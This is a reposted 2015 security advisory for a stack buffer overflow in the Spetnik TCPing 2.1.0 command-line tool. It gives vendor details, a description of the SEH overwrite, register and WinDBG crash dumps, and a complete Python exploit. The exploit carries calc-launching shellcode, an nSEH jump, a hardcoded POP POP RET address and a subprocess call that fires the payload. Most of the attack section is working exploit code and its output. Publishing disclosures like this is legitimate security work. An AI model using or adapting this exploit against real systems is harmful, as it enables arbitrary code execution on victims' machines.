Home / os / winmobile

Spetnik TCPing Utility 2.1.0 Buffer Overflow

Posted on 03 November 2015

[+] Credits: hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/AS-TCPING-2.1.0-BUFFER-OVERFLOW.txt Vendor: ================================ Spetnik.com Product: ================================= Spetnik TCPing 2.1.0 / tcping.exe circa 2007 TCPing "pings" a server on a specific port using TCP/IP by opening and closing a connection on the specified port. Results are returned in a similar fashion to that of Microsoft Windows Ping. This application is intended for use in testing for open ports on remote machines, or as an alternative to the standard "ping" in a case where ICMP packets are blocked or ignored. Vulnerability Type: =================== Buffer Overflow CVE Reference: ============== N/A Vulnerability Details: ===================== If TCPing is called with an specially crafted CL argument we will cause exception and overwrite the Pointers to next SEH record and SEH handler with our buffer and malicious shellcode. No suitable POP POP RET address is avail in TCPing as they start with null bytes 0x00 and will break our shellcode. However, TCPing is not compiled with SafeSEH which is a linker option, so we can grab an address from another module that performs POP POP RET instructions to acheive arbitrary code execution on victims system. stack dump... EAX 00000045 ECX 0040A750 tcping.0040A750 EDX 41414141 EBX 000002CC ESP 0018FA50 EBP 0018FA50 ESI 0018FD21 ASCII "rror: Unknown host AAAAAA.... EDI 0018FCC8 EIP 0040270A tcping.0040270A C 0 ES 002B 32bit 0(FFFFFFFF) P 1 CS 0023 32bit 0(FFFFFFFF) A 1 SS 002B 32bit 0(FFFFFFFF) Z 0 DS 002B 32bit 0(FFFFFFFF) S 0 FS 0053 32bit 7EFDD000(FFF) T 0 GS 002B 32bit 0(FFFFFFFF) D 0 O 0 LastErr WSANO_DATA (00002AFC) EFL 00010216 (NO,NB,NE,A,NS,PE,GE,G) WinDBG dump... (17a8.149c): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. *** WARNING: Unable to verify checksum for image00400000 *** ERROR: Module load completed but symbols could not be loaded for image00400000 eax=00000045 ebx=00000222 ecx=0040a750 edx=41414141 esi=0018fd21 edi=0018fcc8 eip=0040270a esp=0018fa50 ebp=0018fa50 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010216 image00400000+0x270a: 0040270a 8802 mov byte ptr [edx],al ds:002b:41414141=?? Exploit code(s): =============== Python script... import struct,os,subprocess #Spetnik TCPing Utility 2.1.0 #buffer overflow SEH exploit #by hyp3rlinx #pop calc.exe Windows 7 SP1 sc=("x31xF6x56x64x8Bx76x30x8Bx76x0Cx8Bx76x1Cx8B" "x6Ex08x8Bx36x8Bx5Dx3Cx8Bx5Cx1Dx78x01xEBx8B" "x4Bx18x8Bx7Bx20x01xEFx8Bx7Cx8FxFCx01xEFx31" "xC0x99x32x17x66xC1xCAx01xAEx75xF7x66x81xFA" "x10xF5xE0xE2x75xCFx8Bx53x24x01xEAx0FxB7x14" "x4Ax8Bx7Bx1Cx01xEFx03x2Cx97x68x2Ex65x78x65" "x68x63x61x6Cx63x54x87x04x24x50xFFxD5xCC") vulnpgm="C:\tcping.exe " nseh="xEBx06"+"x90"*2 #JMP TO OUR SHELLCODE seh=struct.pack('<L', 0x77214f99) #POP POP RET payload="A"*580+nseh+seh+sc+"x90"*20 #BOOOOOOOM! subprocess.Popen([vulnpgm, payload], shell=False) Exploitation Technique: ======================= Local Severity Level: ========================================================= High =========================================================== [+] Disclaimer Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere. by hyp3rlinx

 

TOP